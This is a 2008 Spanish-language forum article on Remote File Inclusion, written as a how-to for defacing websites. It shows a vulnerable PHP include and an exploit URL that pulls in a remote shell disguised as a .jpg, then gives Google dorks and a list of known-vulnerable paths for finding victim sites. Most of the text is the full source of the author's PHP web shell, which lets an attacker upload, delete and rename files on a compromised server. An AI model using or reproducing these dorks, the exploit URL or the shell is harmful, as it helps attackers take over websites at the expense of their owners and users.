Open Source Institute | CyberArmy Intelligence & Security | CyberArmy Services & Projects

[Network Security] Remote File Inclusion o RFI


[Reply] [View by Thread] [Help]
[Back To Article Discussion Forum]

Posted by Author Acidous On 2008-03-31 03:25:13




View and vote on the article here: Remote File Inclusion o RFI


Remote File Inclusion o RFI

Category
Network Security
Summary
Un texto en español sobre el uso del RFI o remote file inclusion y algunos ejemplos.
xD
Body
Esta ya es una muy conocida tecnica y muy utilizada en el arte del defacing que es por gran parte de la comunidad algo despreciada ya que no involucra mucho trabajo.

Que es el RFI?

Remote File Inclusion, Inclusion Remota de Archivos; Esta falla de programacion se presenta cuando se intenta incluir una pagina remota dentro de otra pero se utilizan codigos siguiente tipo:

(vulnerable.php)
<?php

include"$pagina";

?>

Lo que hace este codigo es incluir una pagina remota,la pagina a incluir se pasa como parametro desde una variable en este caso la variable es $pagina.

Y se explota asi

http://sitio.com/vulnerable.php?pagina=http//www.web_con_shell_remota.com/n0_.jpg

Pero que es esto???

http://sitio.com/ ----> sitio web vulnerable

pagina.php ----> pagina que mediante una variable incluira a otra pagina.

?pagina= ----> variable vulnerable al rfi que nos permite incluir una pagina maliciosamente construida (PHPShell).

http//www.web_con_shell_remota.com/n0_.jpg ----> sitio web que almacena PHPShell.

Que es una PHPShell??

Es una pagina escrita en php que nos permite tomar control absoluto del sitio web vulnerable.

Porque, si la pagina esta escrita en php termina con extension jpg (n0_.jpg)??

Bueno pues porque si estuviera con extension php se ejecutaria en www.web_con_shell y no en sitio.cl (sitio web vulnerable).

Como encuentro sitios vulnerables al RFI?

Se pueden utilizar estos dorks o buscar algunos con el goola:

allinurl: index.php?*=*
allinurl: noticias/index.php?category=
allinurl: index.php?noticias=*

o buscar estas rutas :-)

"includes/header.php?systempath="
"amboro/modules/Forums/admin/admin_db_utilities.php?phpbb_root_path="
"index.inc.php?PATH_Includes="
"nphp/nphpd.php?nphp_config[LangFile]="
"include/db.php?GLOBALS[rootdp]="
"ashnews.php?pathtoashnews="
"ashheadlines.php?pathtoashnews="
"modules/xgallery/upgrade_album.php?GALLERY_BASEDIR="
"demo/includes/init.php?user_inc="
"jaf/index.php?show="
"inc/shows.inc.php?cutepath="
"poll/admin/common.inc.php?base_path="
"pollvote/pollvote.php?pollname="
"sources/post.php?fil_config="
"modules/My_eGallery/public/displayCategory.php?basepath="
"bb_lib/checkdb.inc.php?libpach="
"include/livre_include.php?no_connect=lol&chem_absolu="
"index.php?from_market=Y&pageurl="
"modules/mod_mainmenu.php?mosConfig_absolute_path="
"pivot/modules/module_db.php?pivot_path="

Donde consigo una PHPSHELL?

Eso no es dificil, basta con buscar en google estos nombre r57.php PhpMaker, c99.php o escribes una, no?

Luego que consigues o escribes el codigo de una phpshell debes subirlo a un servidor puede ser gratuito, recuerda que pueden rastrearla, trata de no hacer daño con esto pues te puede traer problemas legales si no eres precavido, para testear si es vulnerable coloca mejor http://www.google.com que tu shell y solo cuando visualices la pagina de google dentro de la otra sabras que es vulnerable y recien ahi coloca la ruta a tu shell.

Coloco la shell pero me muestra el codigo php y no lo ejecuta, que pasa?Huh
Un importante detalle es que para que tu phpshell se ejecute el servidor victima debe tener el safe mode en off.

What a fuck es el safe mode???
El safe mode es un intento para resolver el problema de la seguridad en un servidor compartido. Es decir desabilita algunas funciones denominadas "peligrosas" y nuestra phpshell no se ejecuta como nosotros deseamos :-(.
Se modifica el valor desde el archivo principal de configuracion de php y tiene dos estados -ON: seguro -Off: no seguro.

Aprovechare de incluir el codigo de una phpshell que programe hace mucho tiempo para aprender a programar en php, espero que les sirva pero les recomiendo la R57.php y la Php Maker, tambien se debe considerar la c99.php. Trate de comentarla lo mas posible para que se entienda el funcionamiento.
<++ n0_.php>
<html>
<head>
<title><?php echo $PHP_SELF; ?></title>
<?php
// n0b0dy-PhpShell v0.1- Desarrollada por n0b0dy creada para aumentar el conocimiento personal en php y en rfi,
// Creada y testeada en un Windows 2003 Server, Apache/2.2.3 (Win32), PHP/4.4.4 y Mysql. Saludos a WHK (whk.h4ck1ng.net - //jccharry.com)
//n0b0dy.
$server_sistem = php_uname();
$server_soft = $SERVER_SOFTWARE;
$server_name = $SERVER_NAME;
$server_ip = $SERVER_ADDR;
$server_user = get_current_user();
$server_cgi = $GATEWAY_INTERFACE;
$server_port = $SERVER_PORT;
$server_protocol = $SERVER_PROTOCOL;
$server_pwd = getcwd();
//validador de envio de formulario para el upload
global $dir;
global $botonup;
global $borrar;
global $subio;
global $nombre;
if ($botonup) {
if (is_uploaded_file($HTTP_POST_FILES['archivo']['tmp_name'])) {
copy($HTTP_POST_FILES['archivo']['tmp_name'], $HTTP_POST_FILES['archivo']['name']);
$subio = true;
}
if(!$subio) {
echo "El archivo no cumple con las reglas establecidas";
}//end if validador de upload
}

//borrador de archivos....
if ($borrar)
{
$nombreaborrar =  $_POST['nombre'];
$carpetactual=opendir($server_pwd);
while ($erase = readdir($carpetactual))
{
 if (($nombreaborrar == $erase) && ($nombreaborrar != '.' && $nombreaborrar != '..'))
 {
    if(is_dir($nombreaborrar))
   {
     $dirname = $nombreaborrar;
     rmdirr($dirname);//llama funcion para borrar carpetas vacias y no vacias.
   }
   else
   {
   unlink($nombreaborrar);
   }
   }
 }
}
global $carpe;
//funcion para borrar carpetas no vacias adaptada a esta phpshell--- ------- ----- Funcion creada por: aidan@php.net
  function rmdirr($dirname){
  // Simple delete for a file
  if (is_file($dirname))
   {
    return unlink($dirname);
   }
    // Loop through the folder
   $dir = dir($dirname);
   while (false !== $entry = $dir->read())
   {
    // Skip pointers
   if ($entry == '.' || $entry == '..')
   {
       continue;
    } // Deep delete directories
    if (is_dir("$dirname/$entry"))
    {
      rmdirr("$dirname/$entry");
   }
    else
  {
     unlink("$dirname/$entry");
  }
  } // Clean up
  $dir->close();
  return rmdir($dirname);
  }
 //Renombrar Archivos
 global $renombrar;
 If($renombrar){
 $renombre =  $_POST['rename'];
 $renombrenuevo = $_POST['renamenew'];
 $direc_actual=opendir($server_pwd);
while ($ren = readdir($direc_actual))
{

if(($ren == $renombre) && ($ren != '.' && $ren != '..'))
{
 rename($ren,$renombrenuevo);
 echo '<script> alert("Renombre Ok!")</script>';
 }//en if comprobacion
}//en while
closedir($direc_actual);
}//end if
 
 
//Averiguo si Safe-mode esta activado
if(@ini_get("safe_mode") or strtolower(@ini_get("SAFE_MODE")) == "on") {
  $smode = true;
  $print_safe_mode = "On (Seguro) ";
  }
else{
  $smode = false;
  $print_safe_mode = "Off <font color=\"yellow\">(No seguro)</font> ";
  }
//Averigua la version de php, mediante la fucion ereg(string pattern, string cadena, array regs[regs1]) la cual busca en cadena las coincidencias
//con la expresion regular pattern,  si encuentra coindidencias estas se almacenan el array $regs[], la busqueda diferencia mayusculas y minusculas.
global $php_vrs;
if(!ereg("PHP/" .phpversion(), $php_vrs)){
  $php_vrs .= "PHP/".phpversion();
  }
//El siguiente codigo calcula la capacidad del disco y el espacio libre
//$dt contendra la capacidad del disco en bytes en "/"
//$df contendra la capacidad libre de bytes en "/"
global $dt;
global $df;
$dt = disk_total_space("/");
$df = disk_free_space("/");
function ver_capacidad_totalhdd($dt){
//si el parametro ingresado no es numerico arroja error
 if (!is_numeric($dt)) {
 return false;
 }
 //si es numerico lo trabajo
  else
 {
 // si el tamaño es mayor o igual a 1073741824 bytes un giga (1024*1024*1024=1073741824)
  if ($dt >= 1073741824)
  {
  //round(); =entrega el valor flotante redondeado ejemplo round(3.4) = 3 otro: round(3.5) = 4.
  $dt = round($dt/1073741824*100)/100 ." GB";
  }
    elseif ($dt >= 1048576) {
  $dt = round($dt/1048576*100)/100 ." MB";
  }
  elseif ($dt >= 1024) {
  $dt = round($dt/1024*100)/100 ." KB";
  }
  else {$dt = $dt . " B";
  }
  return $dt;
  }
 }//cierro funcion
function ver_espacio_libre($df)
{
//si el parametro ingresado no es numerico arroja error
 if (!is_numeric($df)) {
 return false;
 }
 //si es numerico lo trabajo
  else
 {
 // si el tamaño es mayor o igual a 1073741824 bytes un giga (1024*1024*1024=1073741824)
  if ($df >= 1073741824)
  {
  //round(); =entrega el valor flotante redondeado ejemplo round(3.4) = 3 otro: round(3.5) = 4.
  $df = round($df/1073741824*100)/100 ." GB";
  }
    elseif ($df >= 1048576) {
  $df = round($df/1048576*100)/100 ." MB";
  }
  elseif ($df >= 1024) {
  $df = round($df/1024*100)/100 ." KB";
  }
  else {$df = $df . " B";}
  return $df;
  }//cierro else
 }//cierro funcion
 //verifico estado de servidor de base de datos mysql.
 
$mysql_on = @function_exists('mysql_connect');
if($mysql_on){
$mysql_state = "<font color=yellow>On</font>";
}
 else {
$mysql_state = "<font color=red>Off</font>";
}
//funcion para ver y mostrar permisos de archivos
global $permisos;
function ver_permisos_archivos($permisos)
{ 
      if (($permisos & 0xC000) == 0xC000) {
      // Socket
      $info = 's';
     } elseif (($permisos & 0xA000) == 0xA000) {
    // Enlace Simbólico
    $info = 'l';
} elseif (($permisos & 0x8000) == 0x8000) {
    // Regular
    $info = '-';
} elseif (($permisos & 0x6000) == 0x6000) {
    // Bloque especial
    $info = 'b';
} elseif (($permisos & 0x4000) == 0x4000) {
    // Directorio
    $info = 'd';
} elseif (($permios & 0x2000) == 0x2000) {
    // Caracter especial
    $info = 'c';
} elseif (($permisos & 0x1000) == 0x1000) {
    // Pipe FIFO
    $info = 'p';
} else {
    // Desconocido
    $info = 'u';
}
// Dueño
$info .= (($permisos & 0x0100) ? 'r' : '-');
$info .= (($permisos & 0x0080) ? 'w' : '-');
$info .= (($permisos & 0x0040) ?
            (($permisos & 0x0800) ? 's' : 'x' ) :
            (($permisos & 0x0800) ? 'S' : '-'));
// Grupo
$info .= (($permisos & 0x0020) ? 'r' : '-');
$info .= (($permisos & 0x0010) ? 'w' : '-');
$info .= (($permisos & 0x0008) ?
            (($permisos & 0x0400) ? 's' : 'x' ) :
            (($permisos & 0x0400) ? 'S' : '-'));
// Mundo
$info .= (($permisos & 0x0004) ? 'r' : '-');
$info .= (($permisos & 0x0002) ? 'w' : '-');
$info .= (($permisos & 0x0001) ?
            (($permisos & 0x0200) ? 't' : 'x' ) :
            (($permisos & 0x0200) ? 'T' : '-'));
return $info;
}//cierro la funcion
//funcion para ver tamaño
global $tamano;
function  ver_tamano($tamano){
 if (!is_numeric($tamano)) {
 return false;
 }
 //si es numerico lo trabajo
  else
 {
 // si el tamaño es mayor o igual a 1073741824 bytes un giga (1024*1024*1024=1073741824)
  if ($tamano >= 1073741824)
  {
  //round(); =entrega el valor flotante redondeado ejemlo round(3.4) = 3 otro: round(3.5) = 4.
  $tamano = round($tamano/1073741824*100)/100 ." GB";
  }
    elseif ($tamano >= 1048576) {
  $tamano = round($tamano/1048576*100)/100 ." MB";
  }
  elseif ($tamano >= 1024) {
  $tamano = round($tamano/1024*100)/100 ." KB";
  }
  else {$tamano = $tamano . " B";}
  return $tamano;
  }//cierro else
 }//cierro funcion
?>
</head>
<body>
<p align="center">&nbsp;</p>
<p align="center"> <a bookmark="minipanel"> <font size="7" face="Martina">PhpShell</font></a><font size="7" face="Martina">-by-n0b0dy</font><span

lang="en-us"><font size="3" face="Martina">
  </font> <font size="1" face="Arial">Rfi hack</font></span><font color="#99CC00" face="Arial" size="1">&nbsp;<span lang="en-us">2008</span></font></p>
<hr>
<table width="100%" border="0" bgcolor="#666666">
  <tr>
    <td width="25%"><strong><font color="#FFFFFF"><?PHP echo "Sistema: " .$server_sistem; ?></font></strong></font></td>
    <td width="25%"><strong><font color="#FFFFFF"><?PHP echo "Tipo Servidor: " .$server_soft; ?></font></strong></td>
    <td width="25%"><strong><font color="#FFFFFF"><?PHP echo "Nombre Servidor: " .$server_name; ?></font></strong></td>
   <td width="25%"><strong><font color="#FFFFFF"><?PHP echo "Ip Servidor: " .$server_ip; ?></font></strong></td>
  </tr>
  <tr>
    <td><strong><font color="#FFFFFF"><?PHP echo "Safe Mode: ".$print_safe_mode; ?></font></strong></td>
    <td><strong><font color="#FFFFFF"><?PHP echo "Puerto: ".$server_port. " Protocol: " .$server_protocol; ?></font></strong></td>
    <td><strong><font color="#FFFFFF"><?PHP echo "Capacidad Total del disco: " .ver_capacidad_totalhdd($dt); ?></font></strong></td>
   <td><strong><font color="#FFFFFF"><?PHP echo "Espacio libre en disco: " .ver_espacio_libre($df); ?></font></strong></td>
  </tr>
  <tr>
    <td><strong><font color="#FFFFFF"><?PHP  echo "Usuario: " .$server_user; ?></font></strong></td>
    <td><strong><font color="#FFFFFF"><?PHP  echo "Cgi: ". $server_cgi;?></font></strong></td>
    <td><strong><font color="#FFFFFF"><?PHP  echo "Mysql: " .$mysql_state; ?></font></strong></td>
   <td><strong><font color="#FFFFFF"><?PHP  echo "Php: ".$php_vrs; ?></font></strong></td>
  </tr>
</table>
<hr>
<table width="100%" border="0" bgcolor="#666666">
  <tr>
    <td width="9%"><font color="#FFFFFF"><strong>Path Actual:</strong></font>:
    </td>
    <td width="91%"><font color="#FFFFFF"><?php echo $server_pwd;?></font></td>
</tr>
</table><table width="100%" border="1" bgcolor="#e7e7eb" >
  <tr>
    <td width="47%"  >&nbsp;</td>
    <td width="7%"><a href="<?php $PHP_SELF; ?>"></a><a href="<?php $PHP_SELF; ?>"><strong>Recargar</strong></a></td>
    <td width="10%"></td>
    <td width="11%"></td>
    <td width="12%"></td>
    <td width="13%"></td>
  </tr>
</table>
<table width="100%" border="1"  bgcolor="#e7e7eb"  >
  <tr>
    <td width="3%" height="23" ><input name="checkbox" type="checkbox"></td>
    <td width="70%" ><strong><font color="#0000FF">Nombre</font></strong></td>
    <td width="8%"><strong><font color="#0000FF">Tama&ntilde;o</font></strong></td>
    <td width="9%"><strong><font color="#0000FF">Permisos</font></strong></td>
    <td width="10%"><strong><font color="#0000FF">Ultima Modif.</font></strong></td>
  </tr>
</table>
<table width="100%" border="1" >
  <?php
//listar archivos
   $dir = getcwd();
    $directorio=opendir($dir);
    while ($archivo = readdir($directorio)){
   //si los archivos son "." o ".." no los muestra...if($file != "." && $file != "..")
   if($archivo != "." && $archivo != ".."){
   $permisos = fileperms($archivo);
    $verpermisos = ver_permisos_archivos($permisos);
   $tamano = filesize($archivo);
   $vertamano = ver_tamano($tamano);
   $ultimamodif = date("d/m/y ", filemtime($archivo));//se muestra a ultima modificacion del archivo se ocupa la funcion filemtime($archivo)
// pero como su salida no es legible se debe pasar como parametro a la funcion date(d/m/y) para darle formato "d" de dia "m"  de   //mes "y" de año y el "/"  separador.
//end if
?>
  <tr>
    <td width="3%"><input name="checkbox" type="checkbox"></td>
    <td width="70%" ><?php echo '<a target="blank" href='.$archivo.'>'.$archivo.'</a><br>'; //para hacerlos hipervinculos?> </td>
    <td width="8%"><?php echo $vertamano; ?></td>
    <td width="9%"><?php echo $verpermisos; ?></td>
    <td width="10%"><?php echo $ultimamodif;?></td>
    <?php 
 }//cierro if
 }//cierro el while
 closedir($directorio);
?>
</table>
<hr>
<table width="100%" height="104" border="0"><form action="<?php $PHP_SELF ?>" method="post" enctype="multipart/form-data">
  <tr>
      <td width="50%" height="37" bgcolor="#e7e7eb"><div align="right"><strong>Upload
          de archivos</strong> </div></td>
    <td width="50%" bgcolor="#e7e7eb"><input name="archivo" type="file" size="35" />
  <input name="botonup" type="submit" value="Upload File" />
</td>
  </tr>
  <tr>
      <td width="50%" height="30"bgcolor="#e7e7eb" ><div align="right"><strong>Borrado
          de Archivos y Carpetas </strong></div></td>
      <td width="50%" bgcolor="#e7e7eb"> <input name="nombre" type="text" id="nombre" size="35"/>
        <input type="submit" name="borrar" value="Borrar Archivo" /></td>
   </tr>
    <tr>
      <td width="50%" height="29"bgcolor="#e7e7eb" ><div align="right"><strong>Renombrar Archivo </strong></div></td>
      <td width="50%" bgcolor="#e7e7eb"> <input name="rename" type="text" id="rename" size="20"/>
        <strong>Nombre Nuevo</strong>:
        <input name="renamenew" type="text" id="renamenew" size="20"/>
        <input type="submit" name="renombrar" value="Renombrar Archivo" /></td>
   </tr>
   </form>
</table>
<hr>
<table width="100%" border="0" bgcolor="#FFFFFF">
  <tr>
    <td><div align="center"><strong>PHPShell desarrollada por n0b0dy v0.1.- </strong></div></td>
  </tr>
</table>
<p>&nbsp;</p>
</html>
<-->
Este es un ejemplo algo sencillo a comparacion de muchas phpshells ke hay mucho ma sofisticadas

Incluire algunos links interesantes para aquel que busque profundizar en el tema.
Info:
http://es.wikipedia.org/wiki/Remote_File_Inclusion
Video:
http://www.mundote.info/index.php?subaction=showfull&url=hack---video-rfi-en-p-ginas-eqdkp-1-3-0
Funny:
http://milw0rm.com/exploits/5180

Aqui hay un dork para google para aquellos que gusten dar con algo interesante inurl:r57.php





There are no replies to this post yet.



Guest:
Subject:
Message:
Signature:
Optional Image Link:
http://

CyberArmy::Forum v0.6
Generated In 0.03424 seconds


About Us | Privacy Policy | Mission Statement | Help